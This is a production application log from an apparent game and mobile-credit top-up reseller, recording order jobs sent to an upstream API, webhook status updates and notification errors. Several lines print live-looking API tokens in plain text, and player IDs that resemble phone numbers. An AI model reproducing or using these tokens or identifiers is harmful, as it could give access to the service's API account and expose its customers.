[2026-03-24 23:04:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"lkodNJkrxe7C4DF0U9AOL1OVc51B4JOI","execution_time":"2026-03-24 23:04:02"} 
[2026-03-24 23:04:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"lkodNJkrxe7C4DF0U9AOL1OVc51B4JOI","execution_time":"2026-03-24 23:04:02","total_operations":1,"sites_count":1} 
[2026-03-24 23:04:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"lkodNJkrxe7C4DF0U9AOL1OVc51B4JOI","execution_time":"2026-03-24 23:04:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-0hM-1774382548"]} 
[2026-03-24 23:04:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"lkodNJkrxe7C4DF0U9AOL1OVc51B4JOI","execution_time":"2026-03-24 23:04:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 23:04:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"lkodNJkrxe7C4DF0U9AOL1OVc51B4JOI","execution_time":"2026-03-24 23:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 23:04:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"lkodNJkrxe7C4DF0U9AOL1OVc51B4JOI","execution_time":"2026-03-24 23:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-0hM-1774382548","operation_id":164386,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 23:04:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"lkodNJkrxe7C4DF0U9AOL1OVc51B4JOI","execution_time":"2026-03-24 23:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-0hM-1774382548","operation_id":164386,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 23:04:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"lkodNJkrxe7C4DF0U9AOL1OVc51B4JOI","execution_time":"2026-03-24 23:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-0hM-1774382548","operation_id":164386,"count":1} 
[2026-03-24 23:04:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"lkodNJkrxe7C4DF0U9AOL1OVc51B4JOI","execution_time":"2026-03-24 23:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-0hM-1774382548","operation_id":164386,"count":1} 
[2026-03-24 23:04:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"lkodNJkrxe7C4DF0U9AOL1OVc51B4JOI","execution_time":"2026-03-24 23:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-0hM-1774382548","operation_id":164386,"user_id":348,"notification_type":"order_approved","reference_id":179517} 
[2026-03-24 23:04:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"lkodNJkrxe7C4DF0U9AOL1OVc51B4JOI","execution_time":"2026-03-24 23:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-0hM-1774382548","operation_id":164386,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 23:04:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"lkodNJkrxe7C4DF0U9AOL1OVc51B4JOI","execution_time":"2026-03-24 23:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-0hM-1774382548","operation_id":164386,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 23:04:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"lkodNJkrxe7C4DF0U9AOL1OVc51B4JOI","execution_time":"2026-03-24 23:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-0hM-1774382548","operation_id":164386,"processed":1,"errors":0} 
[2026-03-24 23:04:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"lkodNJkrxe7C4DF0U9AOL1OVc51B4JOI","execution_time":"2026-03-24 23:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-0hM-1774382548","operation_id":164386,"processed":1,"errors":0} 
[2026-03-24 23:04:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"lkodNJkrxe7C4DF0U9AOL1OVc51B4JOI","execution_time":"2026-03-24 23:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-0hM-1774382548","operation_id":164386} 
[2026-03-24 23:04:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 348  
[2026-03-24 23:04:22] production.INFO: Constructing job for order: 179519  
[2026-03-24 23:04:23] production.INFO: Handling job for order: 179519  
[2026-03-24 23:04:23] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 23:04:23] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:04:23] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=928b4b3e-6f7d-435b-9751-3fd31e3db842&Player_ID=0994720259  
[2026-03-24 23:04:23] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=928b4b3e-6f7d-435b-9751-3fd31e3db842&Player_ID=0994720259","has_body":false} 
[2026-03-24 23:04:24] production.INFO: Operation sent successfully {"operation_id":164388,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-dlY-1774382664","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 23:04:24"}},"processed_data":{"order_number":"ORD-dlY-1774382664","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 23:04:31] production.INFO: Constructing job for order: 179520  
[2026-03-24 23:04:33] production.INFO: Handling job for order: 179520  
[2026-03-24 23:04:33] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 23:04:33] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:04:33] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/32/params?qty=1&uuid=aaa3d112-dae2-48cd-8c9a-65fc702cacae&Player_ID=0994720259  
[2026-03-24 23:04:33] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/32/params?qty=1&uuid=aaa3d112-dae2-48cd-8c9a-65fc702cacae&Player_ID=0994720259","has_body":false} 
[2026-03-24 23:04:33] production.INFO: Operation sent successfully {"operation_id":164389,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-yMZ0yZf-1774382673","amount":24.359329999999999927240423858165740966796875,"status":"processing","product":"23.08 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 23:04:33"}},"processed_data":{"order_number":"ORD-yMZ0yZf-1774382673","amount":24.359329999999999927240423858165740966796875,"status":"processing","product":"23.08 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 23:05:01] production.INFO: Executing GetProducts task...  
[2026-03-24 23:05:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 23:05:01] production.INFO: Executing GetProducts task...  
[2026-03-24 23:05:02] production.INFO: async() رجع: true  
[2026-03-24 23:05:02] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 23:05:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 23:05:03] production.WARNING: Product with ID 213 not found  
[2026-03-24 23:05:03] production.WARNING: Product with ID 212 not found  
[2026-03-24 23:05:03] production.WARNING: Product with ID 211 not found  
[2026-03-24 23:05:03] production.WARNING: Product with ID 210 not found  
[2026-03-24 23:05:03] production.WARNING: Product with ID 209 not found  
[2026-03-24 23:05:03] production.WARNING: Product with ID 214 not found  
[2026-03-24 23:05:03] production.WARNING: Product with ID 215 not found  
[2026-03-24 23:05:03] production.WARNING: Product with ID 216 not found  
[2026-03-24 23:05:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 23:05:59] production.INFO: Constructing job for order: 179521  
[2026-03-24 23:06:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"20zLQIqpYM20wQQKu1R2N3lvbR3FQV09","execution_time":"2026-03-24 23:06:01"} 
[2026-03-24 23:06:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"20zLQIqpYM20wQQKu1R2N3lvbR3FQV09","execution_time":"2026-03-24 23:06:01","total_operations":2,"sites_count":1} 
[2026-03-24 23:06:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"20zLQIqpYM20wQQKu1R2N3lvbR3FQV09","execution_time":"2026-03-24 23:06:01","site_id":4,"site_name":"swgamessls","orders_count":2,"order_ids":["ORD-dlY-1774382664","ORD-yMZ0yZf-1774382673"]} 
[2026-03-24 23:06:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"20zLQIqpYM20wQQKu1R2N3lvbR3FQV09","execution_time":"2026-03-24 23:06:01","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 23:06:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"20zLQIqpYM20wQQKu1R2N3lvbR3FQV09","execution_time":"2026-03-24 23:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 23:06:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"20zLQIqpYM20wQQKu1R2N3lvbR3FQV09","execution_time":"2026-03-24 23:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yMZ0yZf-1774382673","operation_id":164389,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 23:06:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"20zLQIqpYM20wQQKu1R2N3lvbR3FQV09","execution_time":"2026-03-24 23:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yMZ0yZf-1774382673","operation_id":164389,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 23:06:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"20zLQIqpYM20wQQKu1R2N3lvbR3FQV09","execution_time":"2026-03-24 23:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yMZ0yZf-1774382673","operation_id":164389,"count":2} 
[2026-03-24 23:06:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"20zLQIqpYM20wQQKu1R2N3lvbR3FQV09","execution_time":"2026-03-24 23:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yMZ0yZf-1774382673","operation_id":164389,"count":2} 
[2026-03-24 23:06:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"20zLQIqpYM20wQQKu1R2N3lvbR3FQV09","execution_time":"2026-03-24 23:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yMZ0yZf-1774382673","operation_id":164389,"user_id":587,"notification_type":"order_approved","reference_id":179519} 
[2026-03-24 23:06:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"20zLQIqpYM20wQQKu1R2N3lvbR3FQV09","execution_time":"2026-03-24 23:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yMZ0yZf-1774382673","operation_id":164389,"user_id":587,"notification_type":"order_approved","reference_id":179520} 
[2026-03-24 23:06:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"20zLQIqpYM20wQQKu1R2N3lvbR3FQV09","execution_time":"2026-03-24 23:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yMZ0yZf-1774382673","operation_id":164389,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 23:06:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"20zLQIqpYM20wQQKu1R2N3lvbR3FQV09","execution_time":"2026-03-24 23:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yMZ0yZf-1774382673","operation_id":164389,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 23:06:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"20zLQIqpYM20wQQKu1R2N3lvbR3FQV09","execution_time":"2026-03-24 23:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yMZ0yZf-1774382673","operation_id":164389,"processed":2,"errors":0} 
[2026-03-24 23:06:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"20zLQIqpYM20wQQKu1R2N3lvbR3FQV09","execution_time":"2026-03-24 23:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yMZ0yZf-1774382673","operation_id":164389,"processed":2,"errors":0} 
[2026-03-24 23:06:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"20zLQIqpYM20wQQKu1R2N3lvbR3FQV09","execution_time":"2026-03-24 23:06:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yMZ0yZf-1774382673","operation_id":164389} 
[2026-03-24 23:06:01] production.INFO: Handling job for order: 179521  
[2026-03-24 23:06:01] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:06:01] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:06:01] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=7cbdfcbb-722a-4ece-abb7-e54f3c9296c5&Player_ID=51540863434  
[2026-03-24 23:06:01] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=7cbdfcbb-722a-4ece-abb7-e54f3c9296c5&Player_ID=51540863434","has_body":false} 
[2026-03-24 23:06:02] production.INFO: Operation sent successfully {"operation_id":164390,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-apDaFhfW-1774382761","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 23:06:02"}},"processed_data":{"order_number":"ORD-apDaFhfW-1774382761","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 23:06:04] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 23:06:06] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 23:06:11] production.INFO: Constructing job for order: 179522  
[2026-03-24 23:06:13] production.INFO: Handling job for order: 179522  
[2026-03-24 23:06:13] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:06:13] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:06:13] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/572/params?qty=1000&uuid=e59f17af-e545-4e68-9632-2d46dcd5fc2b&Player_ID=471156  
[2026-03-24 23:06:13] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/572/params?qty=1000&uuid=e59f17af-e545-4e68-9632-2d46dcd5fc2b&Player_ID=471156","has_body":false} 
[2026-03-24 23:06:13] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-apDaFhfW-1774382761","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 23:06:13] production.INFO: Processed webhook data (normalized) {"id":"ORD-apDaFhfW-1774382761","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 23:06:13] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 23:06:13] production.INFO: SendAcceptReject: Notification queued {"user_id":1652,"notification_type":"order_approved","reference_id":179521} 
[2026-03-24 23:06:13] production.INFO: Order updated successfully. Order ID: 179521, Status: completed  
[2026-03-24 23:06:13] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-apDaFhfW-1774382761","status":"completed","codes_count":0} 
[2026-03-24 23:06:14] production.INFO: Operation sent successfully {"operation_id":164391,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Qcwj9-1774382773","amount":0.90913180000000004543636578091536648571491241455078125,"status":"processing","product":"Dimo Amount","game":"Dimo","notes":[],"created_at":"2026-03-24 23:06:14"}},"processed_data":{"order_number":"ORD-Qcwj9-1774382773","amount":0.90913180000000004543636578091536648571491241455078125,"status":"processing","product":"Dimo Amount","game":"Dimo"}} 
[2026-03-24 23:06:14] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1652  
[2026-03-24 23:06:19] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Qcwj9-1774382773","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 23:06:19] production.INFO: Processed webhook data (normalized) {"id":"ORD-Qcwj9-1774382773","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 23:06:19] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 23:06:19] production.INFO: SendAcceptReject: Notification queued {"user_id":107,"notification_type":"order_approved","reference_id":179522} 
[2026-03-24 23:06:19] production.INFO: Order updated successfully. Order ID: 179522, Status: completed  
[2026-03-24 23:06:19] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Qcwj9-1774382773","status":"completed","codes_count":0} 
[2026-03-24 23:06:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 23:07:02] production.INFO: Constructing job for order: 179523  
[2026-03-24 23:07:05] production.INFO: Handling job for order: 179523  
[2026-03-24 23:07:05] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:07:05] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:07:05] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=a450e27c-03b0-4d05-ac7f-140f072b079e&Player_ID=1687173200  
[2026-03-24 23:07:05] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=a450e27c-03b0-4d05-ac7f-140f072b079e&Player_ID=1687173200","has_body":false} 
[2026-03-24 23:07:06] production.INFO: Operation sent successfully {"operation_id":164392,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-MWo-1774382825","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 23:07:06"}},"processed_data":{"order_number":"ORD-MWo-1774382825","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 23:07:13] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-MWo-1774382825","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 23:07:13] production.INFO: Processed webhook data (normalized) {"id":"ORD-MWo-1774382825","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 23:07:13] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 23:07:13] production.INFO: SendAcceptReject: Notification queued {"user_id":720,"notification_type":"order_approved","reference_id":179523} 
[2026-03-24 23:07:13] production.INFO: Order updated successfully. Order ID: 179523, Status: completed  
[2026-03-24 23:07:13] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-MWo-1774382825","status":"completed","codes_count":0} 
[2026-03-24 23:07:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 720  
[2026-03-24 23:08:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"HJ3flhHcgchLy4HrLhOFBnK530SaKTY6","execution_time":"2026-03-24 23:08:03"} 
[2026-03-24 23:08:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"HJ3flhHcgchLy4HrLhOFBnK530SaKTY6","execution_time":"2026-03-24 23:08:03"} 
[2026-03-24 23:08:24] production.INFO: Constructing job for order: 179524  
[2026-03-24 23:08:27] production.INFO: Handling job for order: 179524  
[2026-03-24 23:08:27] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 23:08:27] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:08:27] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/13/params?qty=1&uuid=56116698-e0c0-40d1-83af-23e40ad294df&Player_ID=0958950420  
[2026-03-24 23:08:27] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/13/params?qty=1&uuid=56116698-e0c0-40d1-83af-23e40ad294df&Player_ID=0958950420","has_body":false} 
[2026-03-24 23:08:27] production.INFO: Operation sent successfully {"operation_id":164393,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-TKjWZq2-1774382907","amount":295.49407999999999674400896765291690826416015625,"status":"processing","product":"280 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 23:08:27"}},"processed_data":{"order_number":"ORD-TKjWZq2-1774382907","amount":295.49407999999999674400896765291690826416015625,"status":"processing","product":"280 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 23:10:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"n7p2r38blZp05TCrKk8z82xxBjODERfe","execution_time":"2026-03-24 23:10:01"} 
[2026-03-24 23:10:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"n7p2r38blZp05TCrKk8z82xxBjODERfe","execution_time":"2026-03-24 23:10:01","total_operations":1,"sites_count":1} 
[2026-03-24 23:10:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"n7p2r38blZp05TCrKk8z82xxBjODERfe","execution_time":"2026-03-24 23:10:01","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-TKjWZq2-1774382907"]} 
[2026-03-24 23:10:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"n7p2r38blZp05TCrKk8z82xxBjODERfe","execution_time":"2026-03-24 23:10:01","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 23:10:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"n7p2r38blZp05TCrKk8z82xxBjODERfe","execution_time":"2026-03-24 23:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 23:10:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"n7p2r38blZp05TCrKk8z82xxBjODERfe","execution_time":"2026-03-24 23:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TKjWZq2-1774382907","operation_id":164393,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 23:10:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"n7p2r38blZp05TCrKk8z82xxBjODERfe","execution_time":"2026-03-24 23:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TKjWZq2-1774382907","operation_id":164393,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 23:10:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"n7p2r38blZp05TCrKk8z82xxBjODERfe","execution_time":"2026-03-24 23:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TKjWZq2-1774382907","operation_id":164393,"count":1} 
[2026-03-24 23:10:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"n7p2r38blZp05TCrKk8z82xxBjODERfe","execution_time":"2026-03-24 23:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TKjWZq2-1774382907","operation_id":164393,"count":1} 
[2026-03-24 23:10:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"n7p2r38blZp05TCrKk8z82xxBjODERfe","execution_time":"2026-03-24 23:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TKjWZq2-1774382907","operation_id":164393,"user_id":1665,"notification_type":"order_approved","reference_id":179524} 
[2026-03-24 23:10:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"n7p2r38blZp05TCrKk8z82xxBjODERfe","execution_time":"2026-03-24 23:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TKjWZq2-1774382907","operation_id":164393,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 23:10:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"n7p2r38blZp05TCrKk8z82xxBjODERfe","execution_time":"2026-03-24 23:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TKjWZq2-1774382907","operation_id":164393,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 23:10:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"n7p2r38blZp05TCrKk8z82xxBjODERfe","execution_time":"2026-03-24 23:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TKjWZq2-1774382907","operation_id":164393,"processed":1,"errors":0} 
[2026-03-24 23:10:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"n7p2r38blZp05TCrKk8z82xxBjODERfe","execution_time":"2026-03-24 23:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TKjWZq2-1774382907","operation_id":164393,"processed":1,"errors":0} 
[2026-03-24 23:10:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"n7p2r38blZp05TCrKk8z82xxBjODERfe","execution_time":"2026-03-24 23:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TKjWZq2-1774382907","operation_id":164393} 
[2026-03-24 23:10:01] production.INFO: Executing GetProducts task...  
[2026-03-24 23:10:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 23:10:01] production.INFO: Executing GetProducts task...  
[2026-03-24 23:10:03] production.INFO: async() رجع: true  
[2026-03-24 23:10:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 23:10:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 23:10:03] production.WARNING: Product with ID 213 not found  
[2026-03-24 23:10:03] production.WARNING: Product with ID 212 not found  
[2026-03-24 23:10:03] production.WARNING: Product with ID 211 not found  
[2026-03-24 23:10:03] production.WARNING: Product with ID 210 not found  
[2026-03-24 23:10:03] production.WARNING: Product with ID 209 not found  
[2026-03-24 23:10:03] production.WARNING: Product with ID 214 not found  
[2026-03-24 23:10:03] production.WARNING: Product with ID 215 not found  
[2026-03-24 23:10:03] production.WARNING: Product with ID 216 not found  
[2026-03-24 23:10:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 23:10:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1665  
[2026-03-24 23:11:36] production.INFO: Constructing job for order: 179525  
[2026-03-24 23:11:37] production.INFO: Handling job for order: 179525  
[2026-03-24 23:11:37] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:11:37] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:11:37] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=2a077159-62c1-47c3-a95f-c051146a606f&Player_ID=51316256796  
[2026-03-24 23:11:37] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=2a077159-62c1-47c3-a95f-c051146a606f&Player_ID=51316256796","has_body":false} 
[2026-03-24 23:11:38] production.INFO: Operation sent successfully {"operation_id":164394,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-cgC-1774383098","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 23:11:38"}},"processed_data":{"order_number":"ORD-cgC-1774383098","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 23:11:53] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-cgC-1774383098","status":"completed","notes":["__"],"codes":[]}} 
